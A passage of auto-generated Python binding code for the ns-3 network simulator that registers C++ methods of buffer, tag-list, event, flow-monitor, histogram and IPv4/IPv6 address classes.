'size')]) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::ReadLsbtohU16() [member function] cls.add_method('ReadLsbtohU16', 'uint16_t', []) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::ReadLsbtohU32() [member function] cls.add_method('ReadLsbtohU32', 'uint32_t', []) ## buffer.h (module 'network'): uint64_t ns3::Buffer::Iterator::ReadLsbtohU64() [member function] cls.add_method('ReadLsbtohU64', 'uint64_t', []) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::ReadNtohU16() [member function] cls.add_method('ReadNtohU16', 'uint16_t', []) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::ReadNtohU32() [member function] cls.add_method('ReadNtohU32', 'uint32_t', []) ## buffer.h (module 'network'): uint64_t ns3::Buffer::Iterator::ReadNtohU64() [member function] cls.add_method('ReadNtohU64', 'uint64_t', []) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::ReadU16() [member function] cls.add_method('ReadU16', 'uint16_t', []) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::ReadU32() [member function] cls.add_method('ReadU32', 'uint32_t', []) ## buffer.h (module 'network'): uint64_t ns3::Buffer::Iterator::ReadU64() [member function] cls.add_method('ReadU64', 'uint64_t', []) ## buffer.h (module 'network'): uint8_t ns3::Buffer::Iterator::ReadU8() [member function] cls.add_method('ReadU8', 'uint8_t', []) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Write(uint8_t const * buffer, uint32_t size) [member function] cls.add_method('Write', 'void', [param('uint8_t const *', 'buffer'), param('uint32_t', 'size')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Write(ns3::Buffer::Iterator start, ns3::Buffer::Iterator end) [member function] cls.add_method('Write', 'void', [param('ns3::Buffer::Iterator', 'start'), param('ns3::Buffer::Iterator', 'end')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtolsbU16(uint16_t data) [member function] cls.add_method('WriteHtolsbU16', 'void', [param('uint16_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtolsbU32(uint32_t data) [member function] cls.add_method('WriteHtolsbU32', 'void', [param('uint32_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtolsbU64(uint64_t data) [member function] cls.add_method('WriteHtolsbU64', 'void', [param('uint64_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtonU16(uint16_t data) [member function] cls.add_method('WriteHtonU16', 'void', [param('uint16_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtonU32(uint32_t data) [member function] cls.add_method('WriteHtonU32', 'void', [param('uint32_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtonU64(uint64_t data) [member function] cls.add_method('WriteHtonU64', 'void', [param('uint64_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU16(uint16_t data) [member function] cls.add_method('WriteU16', 'void', [param('uint16_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU32(uint32_t data) [member function] cls.add_method('WriteU32', 'void', [param('uint32_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU64(uint64_t data) [member function] cls.add_method('WriteU64', 'void', [param('uint64_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU8(uint8_t data) [member function] cls.add_method('WriteU8', 'void', [param('uint8_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU8(uint8_t data, uint32_t len) [member function] cls.add_method('WriteU8', 'void', [param('uint8_t', 'data'), param('uint32_t', 'len')]) return def register_Ns3ByteTagIterator_methods(root_module, cls): ## packet.h (module 'network'): ns3::ByteTagIterator::ByteTagIterator(ns3::ByteTagIterator const & arg0) [copy constructor] cls.add_constructor([param('ns3::ByteTagIterator const &', 'arg0')]) ## packet.h (module 'network'): bool ns3::ByteTagIterator::HasNext() const [member function] cls.add_method('HasNext', 'bool', [], is_const=True) ## packet.h (module 'network'): ns3::ByteTagIterator::Item ns3::ByteTagIterator::Next() [member function] cls.add_method('Next', 'ns3::ByteTagIterator::Item', []) return def register_Ns3ByteTagIteratorItem_methods(root_module, cls): ## packet.h (module 'network'): ns3::ByteTagIterator::Item::Item(ns3::ByteTagIterator::Item const & arg0) [copy constructor] cls.add_constructor([param('ns3::ByteTagIterator::Item const &', 'arg0')]) ## packet.h (module 'network'): uint32_t ns3::ByteTagIterator::Item::GetEnd() const [member function] cls.add_method('GetEnd', 'uint32_t', [], is_const=True) ## packet.h (module 'network'): uint32_t ns3::ByteTagIterator::Item::GetStart() const [member function] cls.add_method('GetStart', 'uint32_t', [], is_const=True) ## packet.h (module 'network'): void ns3::ByteTagIterator::Item::GetTag(ns3::Tag & tag) const [member function] cls.add_method('GetTag', 'void', [param('ns3::Tag &', 'tag')], is_const=True) ## packet.h (module 'network'): ns3::TypeId ns3::ByteTagIterator::Item::GetTypeId() const [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_const=True) return def register_Ns3ByteTagList_methods(root_module, cls): ## byte-tag-list.h (module 'network'): ns3::ByteTagList::ByteTagList() [constructor] cls.add_constructor([]) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::ByteTagList(ns3::ByteTagList const & o) [copy constructor] cls.add_constructor([param('ns3::ByteTagList const &', 'o')]) ## byte-tag-list.h (module 'network'): ns3::TagBuffer ns3::ByteTagList::Add(ns3::TypeId tid, uint32_t bufferSize, int32_t start, int32_t end) [member function] cls.add_method('Add', 'ns3::TagBuffer', [param('ns3::TypeId', 'tid'), param('uint32_t', 'bufferSize'), param('int32_t', 'start'), param('int32_t', 'end')]) ## byte-tag-list.h (module 'network'): void ns3::ByteTagList::Add(ns3::ByteTagList const & o) [member function] cls.add_method('Add', 'void', [param('ns3::ByteTagList const &', 'o')]) ## byte-tag-list.h (module 'network'): void ns3::ByteTagList::AddAtEnd(int32_t appendOffset) [member function] cls.add_method('AddAtEnd', 'void', [param('int32_t', 'appendOffset')]) ## byte-tag-list.h (module 'network'): void ns3::ByteTagList::AddAtStart(int32_t prependOffset) [member function] cls.add_method('AddAtStart', 'void', [param('int32_t', 'prependOffset')]) ## byte-tag-list.h (module 'network'): void ns3::ByteTagList::Adjust(int32_t adjustment) [member function] cls.add_method('Adjust', 'void', [param('int32_t', 'adjustment')]) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator ns3::ByteTagList::Begin(int32_t offsetStart, int32_t offsetEnd) const [member function] cls.add_method('Begin', 'ns3::ByteTagList::Iterator', [param('int32_t', 'offsetStart'), param('int32_t', 'offsetEnd')], is_const=True) ## byte-tag-list.h (module 'network'): void ns3::ByteTagList::RemoveAll() [member function] cls.add_method('RemoveAll', 'void', []) return def register_Ns3ByteTagListIterator_methods(root_module, cls): ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Iterator(ns3::ByteTagList::Iterator const & arg0) [copy constructor] cls.add_constructor([param('ns3::ByteTagList::Iterator const &', 'arg0')]) ## byte-tag-list.h (module 'network'): uint32_t ns3::ByteTagList::Iterator::GetOffsetStart() const [member function] cls.add_method('GetOffsetStart', 'uint32_t', [], is_const=True) ## byte-tag-list.h (module 'network'): bool ns3::ByteTagList::Iterator::HasNext() const [member function] cls.add_method('HasNext', 'bool', [], is_const=True) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item ns3::ByteTagList::Iterator::Next() [member function] cls.add_method('Next', 'ns3::ByteTagList::Iterator::Item', []) return def register_Ns3ByteTagListIteratorItem_methods(root_module, cls): ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::Item(ns3::ByteTagList::Iterator::Item const & arg0) [copy constructor] cls.add_constructor([param('ns3::ByteTagList::Iterator::Item const &', 'arg0')]) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::Item(ns3::TagBuffer buf) [constructor] cls.add_constructor([param('ns3::TagBuffer', 'buf')]) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::buf [variable] cls.add_instance_attribute('buf', 'ns3::TagBuffer', is_const=False) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::end [variable] cls.add_instance_attribute('end', 'int32_t', is_const=False) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::size [variable] cls.add_instance_attribute('size', 'uint32_t', is_const=False) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::start [variable] cls.add_instance_attribute('start', 'int32_t', is_const=False) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::tid [variable] cls.add_instance_attribute('tid', 'ns3::TypeId', is_const=False) return def register_Ns3CallbackBase_methods(root_module, cls): ## callback.h (module 'core'): ns3::CallbackBase::CallbackBase(ns3::CallbackBase const & arg0) [copy constructor] cls.add_constructor([param('ns3::CallbackBase const &', 'arg0')]) ## callback.h (module 'core'): ns3::CallbackBase::CallbackBase() [constructor] cls.add_constructor([]) ## callback.h (module 'core'): ns3::Ptr<ns3::CallbackImplBase> ns3::CallbackBase::GetImpl() const [member function] cls.add_method('GetImpl', 'ns3::Ptr< ns3::CallbackImplBase >', [], is_const=True) ## callback.h (module 'core'): ns3::CallbackBase::CallbackBase(ns3::Ptr<ns3::CallbackImplBase> impl) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::CallbackImplBase >', 'impl')], visibility='protected') return def register_Ns3EventId_methods(root_module, cls): cls.add_binary_comparison_operator('!=') cls.add_binary_comparison_operator('==') ## event-id.h (module 'core'): ns3::EventId::EventId(ns3::EventId const & arg0) [copy constructor] cls.add_constructor([param('ns3::EventId const &', 'arg0')]) ## event-id.h (module 'core'): ns3::EventId::EventId() [constructor] cls.add_constructor([]) ## event-id.h (module 'core'): ns3::EventId::EventId(ns3::Ptr<ns3::EventImpl> const & impl, uint64_t ts, uint32_t context, uint32_t uid) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::EventImpl > const &', 'impl'), param('uint64_t', 'ts'), param('uint32_t', 'context'), param('uint32_t', 'uid')]) ## event-id.h (module 'core'): void ns3::EventId::Cancel() [member function] cls.add_method('Cancel', 'void', []) ## event-id.h (module 'core'): uint32_t ns3::EventId::GetContext() const [member function] cls.add_method('GetContext', 'uint32_t', [], is_const=True) ## event-id.h (module 'core'): uint64_t ns3::EventId::GetTs() const [member function] cls.add_method('GetTs', 'uint64_t', [], is_const=True) ## event-id.h (module 'core'): uint32_t ns3::EventId::GetUid() const [member function] cls.add_method('GetUid', 'uint32_t', [], is_const=True) ## event-id.h (module 'core'): bool ns3::EventId::IsExpired() const [member function] cls.add_method('IsExpired', 'bool', [], is_const=True) ## event-id.h (module 'core'): bool ns3::EventId::IsRunning() const [member function] cls.add_method('IsRunning', 'bool', [], is_const=True) ## event-id.h (module 'core'): ns3::EventImpl * ns3::EventId::PeekEventImpl() const [member function] cls.add_method('PeekEventImpl', 'ns3::EventImpl *', [], is_const=True) return def register_Ns3FlowMonitorHelper_methods(root_module, cls): ## flow-monitor-helper.h (module 'flow-monitor'): ns3::FlowMonitorHelper::FlowMonitorHelper() [constructor] cls.add_constructor([]) ## flow-monitor-helper.h (module 'flow-monitor'): void ns3::FlowMonitorHelper::SetMonitorAttribute(std::string n1, ns3::AttributeValue const & v1) [member function] cls.add_method('SetMonitorAttribute', 'void', [param('std::string', 'n1'), param('ns3::AttributeValue const &', 'v1')]) ## flow-monitor-helper.h (module 'flow-monitor'): ns3::Ptr<ns3::FlowMonitor> ns3::FlowMonitorHelper::Install(ns3::NodeContainer nodes) [member function] cls.add_method('Install', 'ns3::Ptr< ns3::FlowMonitor >', [param('ns3::NodeContainer', 'nodes')]) ## flow-monitor-helper.h (module 'flow-monitor'): ns3::Ptr<ns3::FlowMonitor> ns3::FlowMonitorHelper::Install(ns3::Ptr<ns3::Node> node) [member function] cls.add_method('Install', 'ns3::Ptr< ns3::FlowMonitor >', [param('ns3::Ptr< ns3::Node >', 'node')]) ## flow-monitor-helper.h (module 'flow-monitor'): ns3::Ptr<ns3::FlowMonitor> ns3::FlowMonitorHelper::InstallAll() [member function] cls.add_method('InstallAll', 'ns3::Ptr< ns3::FlowMonitor >', []) ## flow-monitor-helper.h (module 'flow-monitor'): ns3::Ptr<ns3::FlowMonitor> ns3::FlowMonitorHelper::GetMonitor() [member function] cls.add_method('GetMonitor', 'ns3::Ptr< ns3::FlowMonitor >', []) ## flow-monitor-helper.h (module 'flow-monitor'): ns3::Ptr<ns3::FlowClassifier> ns3::FlowMonitorHelper::GetClassifier() [member function] cls.add_method('GetClassifier', 'ns3::Ptr< ns3::FlowClassifier >', []) ## flow-monitor-helper.h (module 'flow-monitor'): ns3::Ptr<ns3::FlowClassifier> ns3::FlowMonitorHelper::GetClassifier6() [member function] cls.add_method('GetClassifier6', 'ns3::Ptr< ns3::FlowClassifier >', []) ## flow-monitor-helper.h (module 'flow-monitor'): void ns3::FlowMonitorHelper::SerializeToXmlStream(std::ostream & os, int indent, bool enableHistograms, bool enableProbes) [member function] cls.add_method('SerializeToXmlStream', 'void', [param('std::ostream &', 'os'), param('int', 'indent'), param('bool', 'enableHistograms'), param('bool', 'enableProbes')]) ## flow-monitor-helper.h (module 'flow-monitor'): std::string ns3::FlowMonitorHelper::SerializeToXmlString(int indent, bool enableHistograms, bool enableProbes) [member function] cls.add_method('SerializeToXmlString', 'std::string', [param('int', 'indent'), param('bool', 'enableHistograms'), param('bool', 'enableProbes')]) ## flow-monitor-helper.h (module 'flow-monitor'): void ns3::FlowMonitorHelper::SerializeToXmlFile(std::string fileName, bool enableHistograms, bool enableProbes) [member function] cls.add_method('SerializeToXmlFile', 'void', [param('std::string', 'fileName'), param('bool', 'enableHistograms'), param('bool', 'enableProbes')]) return def register_Ns3Hasher_methods(root_module, cls): ## hash.h (module 'core'): ns3::Hasher::Hasher(ns3::Hasher const & arg0) [copy constructor] cls.add_constructor([param('ns3::Hasher const &', 'arg0')]) ## hash.h (module 'core'): ns3::Hasher::Hasher() [constructor] cls.add_constructor([]) ## hash.h (module 'core'): ns3::Hasher::Hasher(ns3::Ptr<ns3::Hash::Implementation> hp) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::Hash::Implementation >', 'hp')]) ## hash.h (module 'core'): uint32_t ns3::Hasher::GetHash32(char const * buffer, size_t const size) [member function] cls.add_method('GetHash32', 'uint32_t', [param('char const *', 'buffer'), param('size_t const', 'size')]) ## hash.h (module 'core'): uint32_t ns3::Hasher::GetHash32(std::string const s) [member function] cls.add_method('GetHash32', 'uint32_t', [param('std::string const', 's')]) ## hash.h (module 'core'): uint64_t ns3::Hasher::GetHash64(char const * buffer, size_t const size) [member function] cls.add_method('GetHash64', 'uint64_t', [param('char const *', 'buffer'), param('size_t const', 'size')]) ## hash.h (module 'core'): uint64_t ns3::Hasher::GetHash64(std::string const s) [member function] cls.add_method('GetHash64', 'uint64_t', [param('std::string const', 's')]) ## hash.h (module 'core'): ns3::Hasher & ns3::Hasher::clear() [member function] cls.add_method('clear', 'ns3::Hasher &', []) return def register_Ns3Histogram_methods(root_module, cls): ## histogram.h (module 'flow-monitor'): ns3::Histogram::Histogram(ns3::Histogram const & arg0) [copy constructor] cls.add_constructor([param('ns3::Histogram const &', 'arg0')]) ## histogram.h (module 'flow-monitor'): ns3::Histogram::Histogram(double binWidth) [constructor] cls.add_constructor([param('double', 'binWidth')]) ## histogram.h (module 'flow-monitor'): ns3::Histogram::Histogram() [constructor] cls.add_constructor([]) ## histogram.h (module 'flow-monitor'): void ns3::Histogram::AddValue(double value) [member function] cls.add_method('AddValue', 'void', [param('double', 'value')]) ## histogram.h (module 'flow-monitor'): uint32_t ns3::Histogram::GetBinCount(uint32_t index) [member function] cls.add_method('GetBinCount', 'uint32_t', [param('uint32_t', 'index')]) ## histogram.h (module 'flow-monitor'): double ns3::Histogram::GetBinEnd(uint32_t index) [member function] cls.add_method('GetBinEnd', 'double', [param('uint32_t', 'index')]) ## histogram.h (module 'flow-monitor'): double ns3::Histogram::GetBinStart(uint32_t index) [member function] cls.add_method('GetBinStart', 'double', [param('uint32_t', 'index')]) ## histogram.h (module 'flow-monitor'): double ns3::Histogram::GetBinWidth(uint32_t index) const [member function] cls.add_method('GetBinWidth', 'double', [param('uint32_t', 'index')], is_const=True) ## histogram.h (module 'flow-monitor'): uint32_t ns3::Histogram::GetNBins() const [member function] cls.add_method('GetNBins', 'uint32_t', [], is_const=True) ## histogram.h (module 'flow-monitor'): void ns3::Histogram::SerializeToXmlStream(std::ostream & os, int indent, std::string elementName) const [member function] cls.add_method('SerializeToXmlStream', 'void', [param('std::ostream &', 'os'), param('int', 'indent'), param('std::string', 'elementName')], is_const=True) ## histogram.h (module 'flow-monitor'): void ns3::Histogram::SetDefaultBinWidth(double binWidth) [member function] cls.add_method('SetDefaultBinWidth', 'void', [param('double', 'binWidth')]) return def register_Ns3Inet6SocketAddress_methods(root_module, cls): ## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress::Inet6SocketAddress(ns3::Inet6SocketAddress const & arg0) [copy constructor] cls.add_constructor([param('ns3::Inet6SocketAddress const &', 'arg0')]) ## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress::Inet6SocketAddress(ns3::Ipv6Address ipv6, uint16_t port) [constructor] cls.add_constructor([param('ns3::Ipv6Address', 'ipv6'), param('uint16_t', 'port')]) ## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress::Inet6SocketAddress(ns3::Ipv6Address ipv6) [constructor] cls.add_constructor([param('ns3::Ipv6Address', 'ipv6')]) ## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress::Inet6SocketAddress(uint16_t port) [constructor] cls.add_constructor([param('uint16_t', 'port')]) ## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress::Inet6SocketAddress(char const * ipv6, uint16_t port) [constructor] cls.add_constructor([param('char const *', 'ipv6'), param('uint16_t', 'port')]) ## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress::Inet6SocketAddress(char const * ipv6) [constructor] cls.add_constructor([param('char const *', 'ipv6')]) ## inet6-socket-address.h (module 'network'): static ns3::Inet6SocketAddress ns3::Inet6SocketAddress::ConvertFrom(ns3::Address const & addr) [member function] cls.add_method('ConvertFrom', 'ns3::Inet6SocketAddress', [param('ns3::Address const &', 'addr')], is_static=True) ## inet6-socket-address.h (module 'network'): ns3::Ipv6Address ns3::Inet6SocketAddress::GetIpv6() const [member function] cls.add_method('GetIpv6', 'ns3::Ipv6Address', [], is_const=True) ## inet6-socket-address.h (module 'network'): uint16_t ns3::Inet6SocketAddress::GetPort() const [member function] cls.add_method('GetPort', 'uint16_t', [], is_const=True) ## inet6-socket-address.h (module 'network'): static bool ns3::Inet6SocketAddress::IsMatchingType(ns3::Address const & addr) [member function] cls.add_method('IsMatchingType', 'bool', [param('ns3::Address const &', 'addr')], is_static=True) ## inet6-socket-address.h (module 'network'): void ns3::Inet6SocketAddress::SetIpv6(ns3::Ipv6Address ipv6) [member function] cls.add_method('SetIpv6', 'void', [param('ns3::Ipv6Address', 'ipv6')]) ## inet6-socket-address.h (module 'network'): void ns3::Inet6SocketAddress::SetPort(uint16_t port) [member function] cls.add_method('SetPort', 'void', [param('uint16_t', 'port')]) return def register_Ns3InetSocketAddress_methods(root_module, cls): ## inet-socket-address.h (module 'network'): ns3::InetSocketAddress::InetSocketAddress(ns3::InetSocketAddress const & arg0) [copy constructor] cls.add_constructor([param('ns3::InetSocketAddress const &', 'arg0')]) ## inet-socket-address.h (module 'network'): ns3::InetSocketAddress::InetSocketAddress(ns3::Ipv4Address ipv4, uint16_t port) [constructor] cls.add_constructor([param('ns3::Ipv4Address', 'ipv4'), param('uint16_t', 'port')]) ## inet-socket-address.h (module 'network'): ns3::InetSocketAddress::InetSocketAddress(ns3::Ipv4Address ipv4) [constructor] cls.add_constructor([param('ns3::Ipv4Address', 'ipv4')]) ## inet-socket-address.h (module 'network'): ns3::InetSocketAddress::InetSocketAddress(uint16_t port) [constructor] cls.add_constructor([param('uint16_t', 'port')]) ## inet-socket-address.h (module 'network'): ns3::InetSocketAddress::InetSocketAddress(char const * ipv4, uint16_t port) [constructor] cls.add_constructor([param('char const *', 'ipv4'), param('uint16_t', 'port')]) ## inet-socket-address.h (module 'network'): ns3::InetSocketAddress::InetSocketAddress(char const * ipv4) [constructor] cls.add_constructor([param('char const *', 'ipv4')]) ## inet-socket-address.h (module 'network'): static ns3::InetSocketAddress ns3::InetSocketAddress::ConvertFrom(ns3::Address const & address) [member function] cls.add_method('ConvertFrom', 'ns3::InetSocketAddress', [param('ns3::Address const &', 'address')], is_static=True) ## inet-socket-address.h (module 'network'): ns3::Ipv4Address ns3::InetSocketAddress::GetIpv4() const [member function] cls.add_method('GetIpv4', 'ns3::Ipv4Address', [], is_const=True) ## inet-socket-address.h (module 'network'): uint16_t ns3::InetSocketAddress::GetPort() const [member function] cls.add_method('GetPort', 'uint16_t', [], is_const=True) ## inet-socket-address.h (module 'network'): uint8_t ns3::InetSocketAddress::GetTos() const [member function] cls.add_method('GetTos', 'uint8_t', [], is_const=True) ## inet-socket-address.h (module 'network'): static bool ns3::InetSocketAddress::IsMatchingType(ns3::Address const & address) [member function] cls.add_method('IsMatchingType', 'bool', [param('ns3::Address const &', 'address')], is_static=True) ## inet-socket-address.h (module 'network'): void ns3::InetSocketAddress::SetIpv4(ns3::Ipv4Address address) [member function] cls.add_method('SetIpv4', 'void', [param('ns3::Ipv4Address', 'address')]) ## inet-socket-address.h (module 'network'): void ns3::InetSocketAddress::SetPort(uint16_t port) [member function] cls.add_method('SetPort', 'void', [param('uint16_t', 'port')]) ## inet-socket-address.h (module 'network'): void ns3::InetSocketAddress::SetTos(uint8_t tos) [member function] cls.add_method('SetTos', 'void', [param('uint8_t', 'tos')]) return def register_Ns3Ipv4Address_methods(root_module, cls): cls.add_binary_comparison_operator('<') cls.add_binary_comparison_operator('!=') cls.add_output_stream_operator() cls.add_binary_comparison_operator('==') ## ipv4-address.h (module 'network'): ns3::Ipv4Address::Ipv4Address(ns3::Ipv4Address const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv4Address const &', 'arg0')]) ## ipv4-address.h (module 'network'): ns3::Ipv4Address::Ipv4Address() [constructor] cls.add_constructor([]) ## ipv4-address.h (module 'network'): ns3::Ipv4Address::Ipv4Address(uint32_t address) [constructor] cls.add_constructor([param('uint32_t', 'address')]) ## ipv4-address.h (module 'network'): ns3::Ipv4Address::Ipv4Address(char const * address) [constructor] cls.add_constructor([param('char const *', 'address')]) ## ipv4-address.h (module 'network'): ns3::Ipv4Address ns3::Ipv4Address::CombineMask(ns3::Ipv4Mask const & mask) const [member function] cls.add_method('CombineMask', 'ns3::Ipv4Address', [param('ns3::Ipv4Mask const &', 'mask')], is_const=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::ConvertFrom(ns3::Address const & address) [member function] cls.add_method('ConvertFrom', 'ns3::Ipv4Address', [param('ns3::Address const &', 'address')], is_static=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::Deserialize(uint8_t const * buf) [member function] cls.add_method('Deserialize', 'ns3::Ipv4Address', [param('uint8_t const *', 'buf')], is_static=True) ## ipv4-address.h (module 'network'): uint32_t ns3::Ipv4Address::Get() const [member function] cls.add_method('Get', 'uint32_t', [], is_const=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::GetAny() [member function] cls.add_method('GetAny', 'ns3::Ipv4Address', [], is_static=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::GetBroadcast() [member function] cls.add_method('GetBroadcast', 'ns3::Ipv4Address', [], is_static=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::GetLoopback() [member function] cls.add_method('GetLoopback', 'ns3::Ipv4Address', [], is_static=True) ## ipv4-address.h (module 'network'): ns3::Ipv4Address ns3::Ipv4Address::GetSubnetDirectedBroadcast(ns3::Ipv4Mask const & mask) const [member function] cls.add_method('GetSubnetDirectedBroadcast', 'ns3::Ipv4Address', [param('ns3::Ipv4Mask const &', 'mask')], is_const=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::GetZero() [member function] cls.add_method('GetZero', 'ns3::Ipv4Address', [], is_static=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsAny() const [member function] cls.add_method('IsAny', 'bool', [], is_const=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsBroadcast() const [member function] cls.add_method('IsBroadcast', 'bool', [], is_const=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsEqual(ns3::Ipv4Address const & other) const [member function] cls.add_method('IsEqual', 'bool', [param('ns3::Ipv4Address const &', 'other')], is_const=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsLocalMulticast() const [member function] cls.add_method('IsLocalMulticast', 'bool', [], is_const=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsLocalhost() const [member function] cls.add_method('IsLocalhost', 'bool', [], is_const=True) ## ipv4-address.h (module 'network'): static bool ns3::Ipv4Address::IsMatchingType(ns3::Address const & address) [member function] cls.add_method('IsMatchingType', 'bool', [param('ns3::Address const &', 'address')], is_static=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsMulticast() const [member function] cls.add_method('IsMulticast', 'bool', [], is_const=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsSubnetDirectedBroadcast(ns3::Ipv4Mask const & mask) const [member function] cls.add_method('IsSubnetDirectedBroadcast', 'bool', [param('ns3::Ipv4Mask const &', 'mask')], is_const=True) ## ipv4-address.h (module 'network'): void ns3::Ipv4Address::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True) ## ipv4-address.h (module 'network'): void ns3::Ipv4Address::Serialize(uint8_t * buf) const [member function] cls.add_method('Serialize', 'void', [param('uint8_t *', 'buf')], is_const=True) ## ipv4-address.h (module 'network'): void ns3::Ipv4Address::Set(uint32_t address) [member function] cls.add_method('Set', 'void', [param('uint32_t', 'address')]) ## ipv4-address.h (module 'network'): void ns3::Ipv4Address::Set(char const * address) [member function] cls.add_method('Set', 'void', [param('char const *', 'address')]) return def register_Ns3Ipv4InterfaceAddress_methods(root_module, cls): cls.add_binary_comparison_operator('!=') cls.add_output_stream_operator() cls.add_binary_comparison_operator('==') ## ipv4-interface-address.h (module 'internet'): ns3::Ipv4InterfaceAddress::Ipv4InterfaceAddress() [constructor] cls.add_constructor([]) ## ipv4-interface-address.h (module 'internet'): ns3::Ipv4InterfaceAddress::Ipv4InterfaceAddress(ns3::Ipv4Address local, ns3::Ipv4Mask mask) [constructor] cls.add_constructor([param('ns3::Ipv4Address', 'local'), param('ns3::Ipv4Mask', 'mask')]) ## ipv4-interface-address.h (module 'internet'): ns3::Ipv4InterfaceAddress::Ipv4InterfaceAddress(ns3::Ipv4InterfaceAddress const & o) [copy constructor] cls.add_constructor([param('ns3::Ipv4InterfaceAddress const &', 'o')]) ## ipv4-interface-address.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4InterfaceAddress::GetBroadcast() const [member function] cls.add_method('GetBroadcast', 'ns3::Ipv4Address', [], is_const=True) ## ipv4-interface-address.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4InterfaceAddress::GetLocal() const [member function] cls.add_method('GetLocal', 'ns3::Ipv4Address', [], is_const=True) ## ipv4-interface-address.h (module 'internet'): ns3::Ipv4Mask ns3::Ipv4InterfaceAddress::GetMask() const [member function] cls.add_method('GetMask', 'ns3::Ipv4Mask', [], is_const=True) ## ipv4-interface-address.h (module 'internet'): ns3::Ipv4InterfaceAddress::InterfaceAddressScope_e ns3::Ipv4InterfaceAddress::GetScope() const [member function] cls.add_method('GetScope', 'ns3::Ipv4InterfaceAddress::InterfaceAddressScope_e', [], is_const=True) ## ipv4-interface-address.h (module 'internet'): bool ns3::Ipv4InterfaceAddress::IsSecondary() const [member function] cls.add_method('IsSecondary', 'bool', [], is_const=True) ## ipv4-interface-address.h (module 'internet'): void ns3::Ipv4InterfaceAddress::SetBroadcast(ns3::Ipv4Address broadcast) [member function] cls.add_method('SetBroadcast', 'void', [param('ns3::Ipv4Address', 'broadcast')]) ## ipv4-interface-address.h (module 'internet'): void ns3::Ipv4InterfaceAddress::SetLocal(ns3::Ipv4Address local) [member function] cls.add_method('SetLocal', 'void', [param('ns3::Ipv4Address', 'local')]) ## ipv4-interface-address.h (module 'internet'): void ns3::Ipv4InterfaceAddress::SetMask(ns3::Ipv4Mask mask) [member function] cls.add_method('SetMask', 'void', [param('ns3::Ipv4Mask', 'mask')]) ## ipv4-interface-address.h (module 'internet'): void ns3::Ipv4InterfaceAddress::SetPrimary() [member function] cls.add_method('SetPrimary', 'void', []) ## ipv4-interface-address.h (module 'internet'): void ns3::Ipv4InterfaceAddress::SetScope(ns3::Ipv4InterfaceAddress::InterfaceAddressScope_e scope) [member function] cls.add_method('SetScope', 'void', [param('ns3::Ipv4InterfaceAddress::InterfaceAddressScope_e', 'scope')]) ## ipv4-interface-address.h (module 'internet'): void ns3::Ipv4InterfaceAddress::SetSecondary() [member function] cls.add_method('SetSecondary', 'void', []) return def register_Ns3Ipv4Mask_methods(root_module, cls): cls.add_binary_comparison_operator('!=') cls.add_output_stream_operator() cls.add_binary_comparison_operator('==') ## ipv4-address.h (module 'network'): ns3::Ipv4Mask::Ipv4Mask(ns3::Ipv4Mask const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv4Mask const &', 